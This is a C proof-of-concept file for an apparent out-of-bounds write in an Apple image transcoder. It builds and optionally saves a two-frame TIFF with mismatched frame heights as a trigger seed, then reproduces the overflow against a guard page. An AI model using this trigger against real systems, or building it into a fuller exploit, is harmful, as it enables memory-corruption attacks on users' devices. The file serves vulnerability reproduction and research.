// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621 // C twin of the Swift POC: build the two-frame container, then reproduce the exact // draw that goes out of bounds. // // The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride, // 16384 bytes of pixel data) and then draws the current frame with the frame's own // height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row // buffer. // // This file places the 16-row buffer directly against a PROT_NONE page, catches the // first faulting store, and reports the distance past the pool. It never corrupts // live memory and never touches the kernel. // // Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \ // -framework ImageIO -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112621 [out.tiff] #include #include #include #include #include #include #include #include #include #include static sigjmp_buf jump; static volatile sig_atomic_t faulted; static volatile uintptr_t fault_addr; static void on_fault(int sig, siginfo_t *info, void *ctx) { (void)sig; (void)ctx; faulted = 1; fault_addr = (uintptr_t)info->si_addr; siglongjmp(jump, 1); } static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) { CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs, kCGImageAlphaPremultipliedLast); CGContextSetRGBFillColor(ctx, r, g, b, 1.0); CGContextFillRect(ctx, CGRectMake(0, 0, w, h)); CGImageRef img = CGBitmapContextCreateImage(ctx); CGContextRelease(ctx); CGColorSpaceRelease(cs); return img; } static CFMutableDataRef build_tiff(void) { CFMutableDataRef data = CFDataCreateMutable(NULL, 0); CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL); if (!dest) { CFRelease(data); return NULL; } CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10); CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90); CGImageDestinationAddImage(dest, f0, NULL); CGImageDestinationAddImage(dest, f1, NULL); int ok = CGImageDestinationFinalize(dest); CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest); if (!ok) { CFRelease(data); return NULL; } return data; } static void probe(CFDataRef data) { CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL); if (!src) { printf("ImageIO refused the container\n"); return; } size_t count = CGImageSourceGetCount(src); printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data)); for (size_t i = 0; i < count && i < 2; i++) { CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL); if (img) { printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img)); CGImageRelease(img); } } CFRelease(src); } int main(int argc, char **argv) { CFMutableDataRef tiff = build_tiff(); if (!tiff) { printf("could not build the two-frame container\n"); return 1; } probe(tiff); if (argc > 1) { CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1], strlen(argv[1]), false); CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL); if (dest) { CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10); CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90); CGImageDestinationAddImage(dest, f0, NULL); CGImageDestinationAddImage(dest, f1, NULL); CGImageDestinationFinalize(dest); CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest); printf("seed written: %s\n", argv[1]); } CFRelease(url); } // Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1. size_t page = (size_t)sysconf(_SC_PAGESIZE); size_t stride = 1024; // 256 px * 4 bytes, frame 0 row size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes size_t pool_pages = (pool + page - 1) / page; size_t total = (pool_pages + 1) * page; unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (base == MAP_FAILED) { perror("mmap"); return 1; } unsigned char *guard = base + pool_pages * page; if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; } struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = on_fault; sa.sa_flags = SA_SIGINFO | SA_ONSTACK; sigemptyset(&sa.sa_mask); sigaction(SIGBUS, &sa, NULL); sigaction(SIGSEGV, &sa, NULL); // The buffer the pool handed out, with exactly pool bytes before the guard. unsigned char *buf = guard - pool; CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs, kCGImageAlphaPremultipliedLast); printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx); if (!ctx) { printf("context rejected — width/stride mismatch would stop the trigger here\n"); munmap(base, total); CFRelease(tiff); return 0; } printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool); if (sigsetjmp(jump, 1) == 0) { CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48)); printf("no fault — the write stayed inside the mapping\n"); } else { printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard)); printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n", 48 * stride - pool); } CGContextRelease(ctx); CGColorSpaceRelease(cs); munmap(base, total); CFRelease(tiff); return 0; }